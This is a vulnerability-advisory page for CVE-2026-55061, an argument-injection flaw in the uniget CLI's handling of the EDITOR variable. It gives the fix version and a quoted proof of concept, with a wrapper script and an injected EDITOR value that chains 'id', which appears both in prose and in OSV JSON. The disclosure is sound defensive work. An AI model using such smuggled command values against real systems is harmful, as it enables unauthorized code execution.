CVE-2026-55061: Gitlab.com/uniget org/cli Uniget CLI Has An EDITOR Vulnerability

MODERATE
Advisory Identifier: GHSA-qmcq-xw74-w667
CWE-88
Published
Advisory Summary

CVE-2026-55061 is a MODERATE uniget cli has an editor vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Gitlab.com/uniget org/cli libraries in the Go ecosystem. The issue involves uniget cli has an editor command injection. Remediation is available by upgrading affected packages to version 0.27.6.

CVE-2026-55061 at a Glance

CVE Identifier CVE-2026-55061
GHSA Identifier GHSA-qmcq-xw74-w667
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product Gitlab.com/uniget org/cli
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-55061

To remediate this vulnerability, upgrade all affected Gitlab.com/uniget org/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gitlab.com/uniget-org/cli fixed: 0.27.6
Upgrade gitlab.com/uniget-org/cli to 0.27.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gitlab.com/uniget-org/cli

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55061, inspect your project dependencies for Gitlab.com/uniget org/cli:

inspect dependencies for gitlab.com/uniget-org/cli

Analyze the terminal output to locate any version of Gitlab.com/uniget org/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.27.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Gitlab.com/uniget org/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, " ")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode. **Vulnerable Code:** ``` editorWithArgs := strings.Split(editor, " ") ``` **Location Context:** ``` editor := os.Getenv("UNIGET_EDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...) ``` **Issue:** Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution. ## **Step to Reproduce** **Step 1: **Create malicious editor wrapper ``` mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editor_wrapper.sh ``` **Step 2: **Create test hook ``` mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh ``` **Step 3:** Set injection payload ``` export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo" ``` **Step 4:** Run vulnerable code ``` cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh ``` **Step 5:** Observe output ``` [EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody) ``` <img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />

CVE-2026-55061 Affected Gitlab.com/uniget org/cli Versions

1 component(s)
Fixed Versions:
0.27.6
Product / Package Ecosystem Affected Versions Fixed Version
gitlab.com/uniget-org/cli
Go
< 0.27.6
0.27.6

References

Frequently Asked Questions

What is CVE-2026-55061?
CVE-2026-55061 is a security vulnerability in Gitlab.com/uniget org/cli involving uniget CLI has an EDITOR Command Injection under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which Gitlab.com/uniget org/cli versions are affected?
Affected versions include releases prior to 0.27.6 across affected packages: gitlab.com/uniget-org/cli.
What version fixes CVE-2026-55061?
Upgrading to 0.27.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gitlab.com/uniget-org/cli affected?
Yes, gitlab.com/uniget-org/cli is affected in releases prior to 0.27.6. Upgrade your dependency to 0.27.6 or later.
What CWE is associated with CVE-2026-55061?
CVE-2026-55061 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check Go dependencies for CVE-2026-55061?
Run the dependency tree command: 'inspect dependencies for gitlab.com/uniget-org/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qmcq-xw74-w667",
  "modified" : "2026-08-17T17:46:05Z",
  "published" : "2026-08-17T17:46:05Z",
  "aliases" : [ "CVE-2026-55061" ],
  "summary" : "uniget CLI has an EDITOR Command Injection",
  "details" : "### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n<img width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitlab.com/uniget-org/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.27.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uniget-org/cli"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:46:05Z",
    "nvd_published_at" : null
  }
}